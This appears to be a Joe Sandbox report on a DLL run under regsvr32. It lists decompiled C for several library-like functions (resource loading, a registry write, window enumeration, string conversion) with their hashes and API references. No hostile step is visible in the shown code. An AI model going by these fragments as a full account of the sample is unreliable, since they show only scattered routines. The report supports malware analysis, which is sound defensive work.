Opcode ID: dfbe2309efef08c6541c295d344e1331c8bf63ad0744154d24636d317b06e94a
Instruction ID: 31a39ceedd4ef3a3476894245f9e10f3b88078610ec9fb2635825f787920a702
Opcode Fuzzy Hash: dfbe2309efef08c6541c295d344e1331c8bf63ad0744154d24636d317b06e94a
Instruction Fuzzy Hash: 4B119E71654289EFDF009FE4DC80EAE7FA8FB08354F108929FA29CA294D7318950DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51883 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB51883(intOrPtr* __ecx, intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				struct HRSRC__* _t25;
				void* _t28;
				intOrPtr* _t34;
				void* _t36;
				intOrPtr _t37;
				struct HINSTANCE__* _t39;

				_push(__ecx);
				_t28 = 0;
				_push(_t36);
				_t34 = __ecx;
				_v8 = 0;
				_t40 = _a8;
				if(_a8 == 0) {
					L4:
					_t37 = _a4;
					_a8 = 1;
					if(_t28 != 0) {
						_a8 =  *((intOrPtr*)( *_t34 + 0x20))(_t37, _t28, _a12);
						if(_v8 != 0) {
							FreeResource(_v8);
						}
					}
					if( *((intOrPtr*)(_t37 + 0x4c)) != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t37 + 0x4c)))) + 0xa0))(_a12);
					}
					_t18 = _a8;
					L10:
					return _t18;
				}
				_t39 =  *(E6EB53D20(0, __ecx, _t36, _t40) + 0xc);
				_t25 = FindResourceA(_t39, _a8, 0xf0);
				if(_t25 == 0) {
					goto L4;
				}
				_t18 = LoadResource(_t39, _t25);
				_v8 = _t18;
				if(_t18 == 0) {
					goto L10;
				}
				_t28 = LockResource(_t18);
				goto L4;
			}

0x6eb51888
0x6eb5188a
0x6eb5188c
0x6eb5188e
0x6eb51890
0x6eb51893
0x6eb51896
0x6eb518cb
0x6eb518cb
0x6eb518ce
0x6eb518d7
0x6eb518e9
0x6eb518ec
0x6eb518f1
0x6eb518f1
0x6eb518ec
0x6eb518fb
0x6eb51905
0x6eb51905
0x6eb5190b
0x6eb5190e
0x6eb51912
0x6eb51912
0x6eb5189d
0x6eb518a9
0x6eb518b1
0x00000000
0x00000000
0x6eb518b5
0x6eb518bb
0x6eb518c0
0x00000000
0x00000000
0x6eb518c9
0x00000000

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 6EB518A9
LoadResource.KERNEL32(?,00000000), ref: 6EB518B5
LockResource.KERNEL32(00000000), ref: 6EB518C3
FreeResource.KERNEL32(00000000), ref: 6EB518F1

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 26bb85056c5646234497a42107a630568a90aa4635b6189ed42aa1ec73bdb6dd
Instruction ID: 499fef11797097eef1719db5797b817085c30da3c6e010f60e212b61edf8c9db
Opcode Fuzzy Hash: 26bb85056c5646234497a42107a630568a90aa4635b6189ed42aa1ec73bdb6dd
Instruction Fuzzy Hash: 39119A31200A5AEFEF019F91C898AAEBBB9EF05365F058069F916A7350CB70D914CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB569A8 Relevance: 6.1, APIs: 4, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB569A8(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					swprintf( &_v24, 0x10, 0x6eb7b0d8, _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(_t30 + 0x68));
				} else {
					_t30 = E6EB56960(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E6EB63DE0(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

0x6eb569a8
0x6eb569b0
0x6eb569b7
0x6eb569bb
0x6eb569bf
0x6eb569c6
0x6eb569c9
0x6eb56a09
0x6eb56a1a
0x6eb569cb
0x6eb569d1
0x6eb569d5
0x6eb569e3
0x6eb569ea
0x6eb569ec
0x6eb569f6
0x6eb569f6
0x6eb569d5
0x6eb56a2e

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 6EB569E3
RegCloseKey.ADVAPI32(00000000), ref: 6EB569EC
swprintf.LIBCMT ref: 6EB56A09
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 6EB56A1A

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWriteswprintf
String ID:
API String ID: 22681860-0
Opcode ID: 78b57b4fa094a6a9f004138381d64eaa11e6fa446942c2c18e3ebb95d8b2b219
Instruction ID: 6fffeb03748cba9f614f09234440310d9868fe5b66b7ddd310df71ae712dcdd5
Opcode Fuzzy Hash: 78b57b4fa094a6a9f004138381d64eaa11e6fa446942c2c18e3ebb95d8b2b219
Instruction Fuzzy Hash: BA01A17252065ABBDB109FA48C44FAF7BBCEB49714F010429F512A7284DA70E91587A4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56EED Relevance: 6.1, APIs: 4, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6EB56EED(void* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t9;
				void* _t11;
				int _t13;
				void* _t23;
				void* _t29;
				intOrPtr* _t31;
				void* _t33;
				void* _t35;

				_t29 = __edx;
				_push(__ecx);
				_t23 = __ecx;
				_t9 = E6EB47C96(__eflags, 0x10);
				_t37 = _t9;
				if(_t9 == 0) {
					_t31 = 0;
					__eflags = 0;
				} else {
					_t31 = E6EB56ECE(_t9, _t37);
				}
				_t11 = GetCurrentProcess();
				_t13 = DuplicateHandle(GetCurrentProcess(),  *(_t23 + 4), _t11,  &_v8, 0, 0, 2);
				_t35 = _t33;
				if(_t13 == 0) {
					if(_t31 != 0) {
						 *((intOrPtr*)( *_t31 + 4))(1);
					}
					E6EB60BB0(_t23, _t29, _t31, _t35, GetLastError(),  *((intOrPtr*)(_t23 + 0xc)));
				}
				 *((intOrPtr*)(_t31 + 4)) = _v8;
				 *((intOrPtr*)(_t31 + 8)) =  *((intOrPtr*)(_t23 + 8));
				return _t31;
			}

0x6eb56eed
0x6eb56ef2
0x6eb56ef7
0x6eb56ef9
0x6eb56eff
0x6eb56f01
0x6eb56f0e
0x6eb56f0e
0x6eb56f03
0x6eb56f0a
0x6eb56f0a
0x6eb56f21
0x6eb56f2a
0x6eb56f30
0x6eb56f33
0x6eb56f37
0x6eb56f3f
0x6eb56f3f
0x6eb56f4c
0x6eb56f4c
0x6eb56f54
0x6eb56f5a
0x6eb56f62

APIs

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 6EB56F21
GetCurrentProcess.KERNEL32(?,00000000), ref: 6EB56F27
DuplicateHandle.KERNEL32(00000000), ref: 6EB56F2A
GetLastError.KERNEL32(?), ref: 6EB56F45

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast_malloc
String ID:
API String ID: 3704204646-0
Opcode ID: 0321d63bc3e8285b2cd2f1dc3b34b923683c90b7144d64a182205d4030bdeae8
Instruction ID: 1d7bccbd3534fd1324a3ac21a54a948d94c30556fcf58ae3c666437228b5fe5e
Opcode Fuzzy Hash: 0321d63bc3e8285b2cd2f1dc3b34b923683c90b7144d64a182205d4030bdeae8
Instruction Fuzzy Hash: 4C017C71A10341BBEF109BA6CD49F9A7FADEF84354F144465B905CB288EB71DC10CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4D0B7 Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EB4D0B7(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E6EB4C759(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E6EB4CDCC(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E6EB4D0B7(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

0x6eb4d0b7
0x6eb4d0b7
0x6eb4d0c1
0x6eb4d0c7
0x6eb4d12a
0x6eb4d12a
0x6eb4d12e
0x00000000
0x00000000
0x6eb4d0cb
0x6eb4d0cf
0x6eb4d0f9
0x6eb4d0d1
0x6eb4d0d2
0x6eb4d0d7
0x6eb4d0d9
0x6eb4d0db
0x6eb4d0de
0x6eb4d0e1
0x6eb4d0e4
0x6eb4d0e7
0x6eb4d0e8
0x6eb4d0e8
0x6eb4d0d9
0x6eb4d0ff
0x6eb4d103
0x6eb4d106
0x6eb4d108
0x6eb4d10a
0x6eb4d11c
0x6eb4d11c
0x6eb4d10a
0x6eb4d124
0x6eb4d124
0x6eb4d133

APIs

GetTopWindow.USER32(00000000), ref: 6EB4D0C7
GetTopWindow.USER32(00000000), ref: 6EB4D106
GetWindow.USER32(00000000,00000002), ref: 6EB4D124

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 6c9ea01f161ce013755418e712a5ad520f81a88c1705869769e028cbad46b99e
Instruction ID: 046c0bd973d77ae22e207c5dac0cfcfd85e4415cdab1da9f27b5f213a92413b0
Opcode Fuzzy Hash: 6c9ea01f161ce013755418e712a5ad520f81a88c1705869769e028cbad46b99e
Instruction Fuzzy Hash: AF01023200059BFBCF235ED1AC14E9E3E2AEF49350F018425FE1066169CB36C566EFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55ADC Relevance: 6.0, APIs: 4, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6EB55ADC(void* __ecx, short* _a4) {
				int _v8;
				int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t9;
				char* _t10;
				char* _t12;
				void* _t14;
				char* _t15;
				void* _t18;

				_t17 = __ecx;
				_push(__ecx);
				_push(__ecx);
				if(_a4 != 0) {
					__imp__#7(_a4, _t18, _t14);
					_v12 = _t9;
					_t10 = WideCharToMultiByte(0, 0, _a4, _t9, 0, 0, 0, 0);
					_v8 = _t10;
					__imp__#150(0, _t10);
					_t15 = _t10;
					__eflags = _t15;
					if(__eflags == 0) {
						E6EB48B6C(_t15, _t17, WideCharToMultiByte, 0, __eflags);
					}
					WideCharToMultiByte(0, 0, _a4, _v12, _t15, _v8, 0, 0);
					_t12 = _t15;
				} else {
					_t12 = 0;
				}
				return _t12;
			}

0x6eb55adc
0x6eb55ae1
0x6eb55ae2
0x6eb55ae9
0x6eb55af4
0x6eb55b08
0x6eb55b0d
0x6eb55b11
0x6eb55b14
0x6eb55b1a
0x6eb55b1c
0x6eb55b1e
0x6eb55b20
0x6eb55b20
0x6eb55b33
0x6eb55b36
0x6eb55aeb
0x6eb55aeb
0x6eb55aeb
0x6eb55b3b

APIs

SysStringLen.OLEAUT32(00000000), ref: 6EB55AF4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,6EB6171F,?,00000018,6EB61A5D,?,?,?), ref: 6EB55B0D
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 6EB55B14
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6EB6171F,?,00000018,6EB61A5D,?,?,?), ref: 6EB55B33

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Byte$CharMultiStringWide$Alloc
String ID:
API String ID: 3384502665-0
Opcode ID: e81572eb529839b9d0f1b1d171e42cdd84d88b2061f67ef72f10c141d4a56c07
Instruction ID: ed062112b99b2567ebe0c4914b4f1d7dbbd42e9727bc3f7b3bcf5ba5d32ff5c9
Opcode Fuzzy Hash: e81572eb529839b9d0f1b1d171e42cdd84d88b2061f67ef72f10c141d4a56c07
Instruction Fuzzy Hash: EDF014B6502178BF9F222EA68C48CDFBE6DEE9B3A07114025F90992210D2718A51DAF4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4CA33 Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB4CA33(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E6EB4CA33(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E6EB4C72D(_t13, _t14);
						}
						_t10 = E6EB4C759(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E6EB4CA33(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

0x6eb4ca33
0x6eb4ca33
0x6eb4ca40
0x6eb4ca46
0x6eb4ca4c
0x6eb4ca50
0x6eb4ca80
0x6eb4ca83
0x6eb4caa0
0x6eb4caa0
0x6eb4caa2
0x6eb4caa4
0x00000000
0x00000000
0x6eb4ca8e
0x6eb4ca93
0x6eb4ca95
0x6eb4ca9a
0x00000000
0x6eb4ca9a
0x00000000
0x6eb4ca95
0x6eb4ca52
0x6eb4ca57
0x6eb4ca69
0x6eb4ca6d
0x6eb4ca6e
0x00000000
0x6eb4ca70
0x6eb4ca77
0x6eb4ca7c
0x6eb4ca7e
0x00000000
0x00000000
0x6eb4ca59
0x6eb4ca60
0x6eb4ca67
0x00000000
0x00000000
0x6eb4ca67
0x6eb4ca57
0x6eb4caa9
0x6eb4caa9

APIs

GetDlgItem.USER32 ref: 6EB4CA40
GetTopWindow.USER32(00000000), ref: 6EB4CA53

Part of subcall function 6EB4CA33: GetWindow.USER32(00000000,00000002), ref: 6EB4CA9A

GetTopWindow.USER32(?), ref: 6EB4CA83

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 5197791f91fd9854ed4ea77b4a20618cc6cd84cdd957326ac413608155514a11
Instruction ID: 712edcfa7c66437bae0d4f885c6c09d84576db5c53153f443819040a4844b23f
Opcode Fuzzy Hash: 5197791f91fd9854ed4ea77b4a20618cc6cd84cdd957326ac413608155514a11
Instruction Fuzzy Hash: 10017C325055A6FBAF229EE5CC00E8E3EA8EF45BA0F064020FD149911CD732C519AEE5

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6F93E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB6F93E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E6EB6F22F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E6EB6F31F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E6EB6F844(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E6EB6F789(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x6eb6f943
0x6eb6f949
0x6eb6f9bc
0x00000000
0x6eb6f950
0x6eb6f950
0x6eb6f953
0x6eb6f96e
0x6eb6f971
0x6eb6f991
0x6eb6f9a3
0x6eb6f973
0x6eb6f973
0x6eb6f976
0x00000000
0x6eb6f978
0x6eb6f98a
0x6eb6f98a
0x6eb6f976
0x6eb6f9c1
0x6eb6f9c5
0x6eb6f955
0x6eb6f96d
0x6eb6f96d
0x6eb6f953

APIs

__cftof_l.LIBCMT ref: 6EB6F964

Part of subcall function 6EB6F789: __fltout2.LIBCMT ref: 6EB6F7B5

__cftog_l.LIBCMT ref: 6EB6F98A
__cftoe_l.LIBCMT ref: 6EB6F9BC

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 4b67acfac0cd44e105915c5a4f4d83a0ca7dcf0535167751929b38c5a1192caf
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911483204418EFBCF125EC4DC519EE3F27FB19354B698815FA2859170C736C5B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4F484 Relevance: 6.0, APIs: 4, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB4F484(intOrPtr __ecx, CHAR* _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t7;
				struct HRSRC__* _t10;
				void* _t13;
				void* _t18;
				void* _t20;
				void* _t21;
				struct HINSTANCE__* _t23;

				_push(__ecx);
				_push(_t20);
				_t13 = 0;
				_t18 = 0;
				_v8 = __ecx;
				_t24 = _a4;
				if(_a4 == 0) {
					L4:
					_t21 = E6EB4EFFE(_v8, _t18, _t18);
					if(_t18 != 0 && _t13 != 0) {
						FreeResource(_t13);
					}
					_t7 = _t21;
				} else {
					_t23 =  *(E6EB53D20(0, 0, _t20, _t24) + 0xc);
					_t10 = FindResourceA(_t23, _a4, 0xf0);
					if(_t10 == 0) {
						goto L4;
					} else {
						_t7 = LoadResource(_t23, _t10);
						_t13 = _t7;
						if(_t13 != 0) {
							_t18 = LockResource(_t13);
							goto L4;
						}
					}
				}
				return _t7;
			}

0x6eb4f489
0x6eb4f48b
0x6eb4f48d
0x6eb4f48f
0x6eb4f491
0x6eb4f494
0x6eb4f497
0x6eb4f4cb
0x6eb4f4d4
0x6eb4f4d8
0x6eb4f4df
0x6eb4f4df
0x6eb4f4e5
0x6eb4f499
0x6eb4f49e
0x6eb4f4aa
0x6eb4f4b2
0x00000000
0x6eb4f4b4
0x6eb4f4b6
0x6eb4f4bc
0x6eb4f4c0
0x6eb4f4c9
0x00000000
0x6eb4f4c9
0x6eb4f4c0
0x6eb4f4b2
0x6eb4f4eb

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 6EB4F4AA
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,6287AE78), ref: 6EB4F4B6
LockResource.KERNEL32(00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,6287AE78), ref: 6EB4F4C3
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,6287AE78), ref: 6EB4F4DF

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: a7f0b81718f9f957059aab316a474ca51e302a11471df1d2d280c74934a70ed4
Instruction ID: c4191e991c6385d5a846e32a3f8e181f8268595c3694e8156c51ba22d5476f3b
Opcode Fuzzy Hash: a7f0b81718f9f957059aab316a474ca51e302a11471df1d2d280c74934a70ed4
Instruction Fuzzy Hash: E5F0C8332006AAFBEF219FE58C9896F7EADDF912607125039FA15D7214DF70C9009760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6E9F5 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E6EB6E9F5(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x6eb856e0);
				E6EB66608(__ebx, __edi, __esi);
				_t28 = E6EB6A81F(__ebx, __edx, __edi, _t30);
				_t13 =  *0x6eb8a04c; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E6EB6AEB4(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x6eb8a130; // 0x6eb8a058
					 *((intOrPtr*)(_t29 - 0x1c)) = E6EB6E9B7(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E6EB6EA5F();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E6EB6A81F(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E6EB66ECD(_t25, _t26, 0x20);
				}
				return E6EB6664D(_t28);
			}

0x6eb6e9f5
0x6eb6e9f5
0x6eb6e9f5
0x6eb6e9f5
0x6eb6e9f5
0x6eb6e9f7
0x6eb6e9fc
0x6eb6ea06
0x6eb6ea08
0x6eb6ea10
0x6eb6ea34
0x6eb6ea36
0x6eb6ea3c
0x6eb6ea40
0x6eb6ea43
0x6eb6ea4e
0x6eb6ea51
0x6eb6ea58
0x6eb6ea12
0x6eb6ea12
0x6eb6ea16
0x00000000
0x6eb6ea18
0x6eb6ea1d
0x6eb6ea1d
0x6eb6ea16
0x6eb6ea22
0x6eb6ea26
0x6eb6ea2b
0x6eb6ea33

APIs

__getptd.LIBCMT ref: 6EB6EA01

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6EA18
__amsg_exit.LIBCMT ref: 6EB6EA26
